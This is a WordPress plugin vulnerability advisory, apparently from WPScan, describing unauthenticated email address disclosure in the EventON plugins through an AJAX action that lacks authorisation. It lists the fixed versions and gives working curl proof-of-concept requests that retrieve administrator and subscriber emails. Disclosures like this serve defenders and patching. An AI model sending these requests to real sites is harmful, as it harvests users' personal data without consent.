WordPress Plugin Vulnerabilities

EventON (Free < 2.2.8, Premium < 4.5.5) - Unauthenticated Email Address Disclosure

Description

The plugins do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog

Proof of Concept

To get the administrator user emails:

curl -X POST --data '_user_role=administrator' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

To get the subscriber user emails:

curl -X POST --data '_user_role=subscriber' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

etc to get others

Affects Plugins

Fixed in 4.5.5
Fixed in 2.2.8

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2024-01-10 (about 4 months ago)
Added
2024-01-10 (about 4 months ago)
Last Updated
2024-01-10 (about 4 months ago)

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